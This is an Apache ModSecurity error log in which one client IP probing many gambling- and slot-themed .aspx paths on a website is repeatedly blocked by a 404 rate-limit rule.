[Mon May 04 15:31:03.483844 2026] [:error] [pid 61042:tid 61066] [client 147.135.213.153:44474] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afhLN0nAPPS1fjubA9QmTAAAANQ"]
[Mon May 04 15:31:05.877212 2026] [:error] [pid 61150:tid 61174] [client 147.135.213.153:44482] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afhLOe8QXWVLiwIGVpc1LgAAAVU"]
[Mon May 04 15:31:08.213488 2026] [:error] [pid 61150:tid 61156] [client 147.135.213.153:58960] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afhLPO8QXWVLiwIGVpc1OwAAAUM"]
[Mon May 04 15:31:10.528884 2026] [:error] [pid 61044:tid 61105] [client 147.135.213.153:58966] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afhLPkw8w2zZZXI6H1thUQAAAAM"]
[Mon May 04 15:31:13.042961 2026] [:error] [pid 3341:tid 3344] [client 147.135.213.153:58972] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afhLQU9o3_LordU0wW7gmgAAAIA"]
[Mon May 04 15:31:15.428816 2026] [:error] [pid 61043:tid 61095] [client 147.135.213.153:58976] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afhLQ58-LwtfURjiAbBmggAAAFQ"]
[Mon May 04 15:31:17.877354 2026] [:error] [pid 61043:tid 61085] [client 147.135.213.153:42798] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afhLRZ8-LwtfURjiAbBmiAAAAEo"]
[Mon May 04 15:31:20.333989 2026] [:error] [pid 3341:tid 3365] [client 147.135.213.153:42808] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afhLSE9o3_LordU0wW7gwgAAAJU"]
[Mon May 04 15:31:22.901299 2026] [:error] [pid 61150:tid 61169] [client 147.135.213.153:42824] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afhLSu8QXWVLiwIGVpc1bAAAAVA"]
[Mon May 04 15:31:25.419148 2026] [:error] [pid 61044:tid 61102] [client 147.135.213.153:42830] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afhLTUw8w2zZZXI6H1thdgAAAAA"]
[Mon May 04 15:31:27.908630 2026] [:error] [pid 61042:tid 61070] [client 147.135.213.153:40904] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afhLT0nAPPS1fjubA9QmdwAAANg"]
[Mon May 04 15:31:30.404885 2026] [:error] [pid 61042:tid 61048] [client 147.135.213.153:40916] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afhLUknAPPS1fjubA9QmhwAAAMI"]
[Mon May 04 15:31:32.895547 2026] [:error] [pid 61150:tid 61175] [client 147.135.213.153:40926] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afhLVO8QXWVLiwIGVpc1nwAAAVY"]
[Mon May 04 15:31:35.381058 2026] [:error] [pid 3341:tid 3366] [client 147.135.213.153:40942] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afhLV09o3_LordU0wW7g8QAAAJY"]
[Mon May 04 15:31:37.731332 2026] [:error] [pid 3341:tid 3361] [client 147.135.213.153:36904] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afhLWU9o3_LordU0wW7hAQAAAJE"]
[Mon May 04 15:31:40.049879 2026] [:error] [pid 61044:tid 61104] [client 147.135.213.153:36920] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afhLXEw8w2zZZXI6H1thvQAAAAI"]
[Mon May 04 15:31:42.562897 2026] [:error] [pid 61150:tid 61163] [client 147.135.213.153:36930] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afhLXu8QXWVLiwIGVpc1xgAAAUo"]
[Mon May 04 15:31:44.882854 2026] [:error] [pid 61150:tid 61159] [client 147.135.213.153:36936] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afhLYO8QXWVLiwIGVpc10QAAAUY"]
[Mon May 04 15:31:47.363590 2026] [:error] [pid 3341:tid 3357] [client 147.135.213.153:44838] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afhLY09o3_LordU0wW7hHgAAAI0"]
[Mon May 04 15:31:49.875175 2026] [:error] [pid 61044:tid 61108] [client 147.135.213.153:44852] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afhLZUw8w2zZZXI6H1thzgAAAAY"]
[Mon May 04 15:31:52.378121 2026] [:error] [pid 61150:tid 61158] [client 147.135.213.153:44858] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "afhLaO8QXWVLiwIGVpc16wAAAUU"]
[Mon May 04 15:31:54.712076 2026] [:error] [pid 61043:tid 61077] [client 147.135.213.153:44864] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afhLap8-LwtfURjiAbBm2AAAAEI"]
[Mon May 04 15:31:57.042463 2026] [:error] [pid 61044:tid 61105] [client 147.135.213.153:40356] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afhLbUw8w2zZZXI6H1th1wAAAAM"]
[Mon May 04 15:32:18.197737 2026] [:error] [pid 61044:tid 61106] [client 147.135.213.153:40364] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afhLgkw8w2zZZXI6H1tiEAAAAAQ"]
[Mon May 04 15:32:20.622262 2026] [:error] [pid 61043:tid 61087] [client 147.135.213.153:57778] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afhLhJ8-LwtfURjiAbBnBgAAAEw"]
[Mon May 04 15:32:23.130586 2026] [:error] [pid 3341:tid 3347] [client 147.135.213.153:57790] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afhLh09o3_LordU0wW7h4QAAAIM"]
[Mon May 04 15:32:25.484589 2026] [:error] [pid 3341:tid 3366] [client 147.135.213.153:57794] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afhLiU9o3_LordU0wW7h_gAAAJY"]
[Mon May 04 15:32:27.910980 2026] [:error] [pid 61150:tid 61158] [client 147.135.213.153:36614] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afhLi-8QXWVLiwIGVpc2bQAAAUU"]
[Mon May 04 15:32:30.348734 2026] [:error] [pid 61044:tid 61110] [client 147.135.213.153:36622] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afhLjkw8w2zZZXI6H1tiLwAAAAg"]
[Mon May 04 15:32:32.802051 2026] [:error] [pid 61150:tid 61155] [client 147.135.213.153:36628] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afhLkO8QXWVLiwIGVpc2jwAAAUI"]
[Mon May 04 15:32:35.109108 2026] [:error] [pid 61150:tid 61168] [client 147.135.213.153:36638] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afhLk-8QXWVLiwIGVpc2rwAAAU8"]
[Mon May 04 15:32:37.489130 2026] [:error] [pid 61044:tid 61112] [client 147.135.213.153:41720] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afhLlUw8w2zZZXI6H1tiRQAAAAo"]
[Mon May 04 15:32:39.983305 2026] [:error] [pid 3341:tid 3352] [client 147.135.213.153:41728] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afhLl09o3_LordU0wW7iWgAAAIg"]
[Mon May 04 15:32:42.506403 2026] [:error] [pid 61150:tid 61160] [client 147.135.213.153:41734] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afhLmu8QXWVLiwIGVpc2xgAAAUc"]
[Mon May 04 15:32:44.835060 2026] [:error] [pid 61043:tid 61075] [client 147.135.213.153:41746] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afhLnJ8-LwtfURjiAbBnUQAAAEA"]
[Mon May 04 15:32:47.335487 2026] [:error] [pid 61042:tid 61069] [client 147.135.213.153:58292] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afhLn0nAPPS1fjubA9QnOAAAANc"]
[Mon May 04 15:32:49.812781 2026] [:error] [pid 3341:tid 3345] [client 147.135.213.153:58298] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afhLoU9o3_LordU0wW7imwAAAIE"]
[Mon May 04 15:32:52.269154 2026] [:error] [pid 61044:tid 61113] [client 147.135.213.153:58300] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afhLpEw8w2zZZXI6H1tiZAAAAAs"]
[Mon May 04 15:32:54.730026 2026] [:error] [pid 3341:tid 3357] [client 147.135.213.153:58316] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afhLpk9o3_LordU0wW7ivAAAAI0"]
[Mon May 04 15:32:56.994338 2026] [:error] [pid 61042:tid 61068] [client 147.135.213.153:41426] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afhLqEnAPPS1fjubA9QnQAAAANY"]
[Mon May 04 15:32:59.303847 2026] [:error] [pid 61044:tid 61103] [client 147.135.213.153:41436] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afhLq0w8w2zZZXI6H1tihAAAAAE"]
[Mon May 04 15:33:01.629387 2026] [:error] [pid 61042:tid 61062] [client 147.135.213.153:41448] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afhLrUnAPPS1fjubA9QnTAAAANA"]
[Mon May 04 15:33:04.129530 2026] [:error] [pid 61042:tid 61059] [client 147.135.213.153:41458] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afhLsEnAPPS1fjubA9QnVwAAAM0"]
[Mon May 04 15:33:06.611111 2026] [:error] [pid 61043:tid 61090] [client 147.135.213.153:41472] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afhLsp8-LwtfURjiAbBnmAAAAE8"]
[Mon May 04 15:33:09.071843 2026] [:error] [pid 3341:tid 3350] [client 147.135.213.153:36278] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afhLtU9o3_LordU0wW7i9QAAAIY"]
[Mon May 04 15:33:11.453367 2026] [:error] [pid 61042:tid 61047] [client 147.135.213.153:36288] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afhLt0nAPPS1fjubA9QnZwAAAME"]
[Mon May 04 15:33:13.964382 2026] [:error] [pid 3341:tid 3367] [client 147.135.213.153:36296] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afhLuU9o3_LordU0wW7jCQAAAJc"]
[Mon May 04 15:33:34.391546 2026] [:error] [pid 61042:tid 61064] [client 147.135.213.153:36308] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afhLzknAPPS1fjubA9QnmgAAANI"]
[Mon May 04 15:33:36.817922 2026] [:error] [pid 61043:tid 61091] [client 147.135.213.153:43152] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afhL0J8-LwtfURjiAbBn5gAAAFA"]
[Mon May 04 15:33:39.265979 2026] [:error] [pid 3341:tid 3350] [client 147.135.213.153:43154] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afhL009o3_LordU0wW7jlAAAAIY"]
[Mon May 04 15:33:41.766186 2026] [:error] [pid 3341:tid 3363] [client 147.135.213.153:43164] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afhL1U9o3_LordU0wW7jrwAAAJM"]
[Mon May 04 15:33:44.279519 2026] [:error] [pid 61044:tid 61117] [client 147.135.213.153:43176] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afhL2Ew8w2zZZXI6H1ti_gAAAA8"]
[Mon May 04 15:33:46.773095 2026] [:error] [pid 61150:tid 61169] [client 147.135.213.153:53842] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afhL2u8QXWVLiwIGVpc3dAAAAVA"]
[Mon May 04 15:33:49.263067 2026] [:error] [pid 61042:tid 61061] [client 147.135.213.153:53850] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afhL3UnAPPS1fjubA9Qn1gAAAM8"]
[Mon May 04 15:33:51.569854 2026] [:error] [pid 61150:tid 61159] [client 147.135.213.153:53858] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afhL3-8QXWVLiwIGVpc3mwAAAUY"]
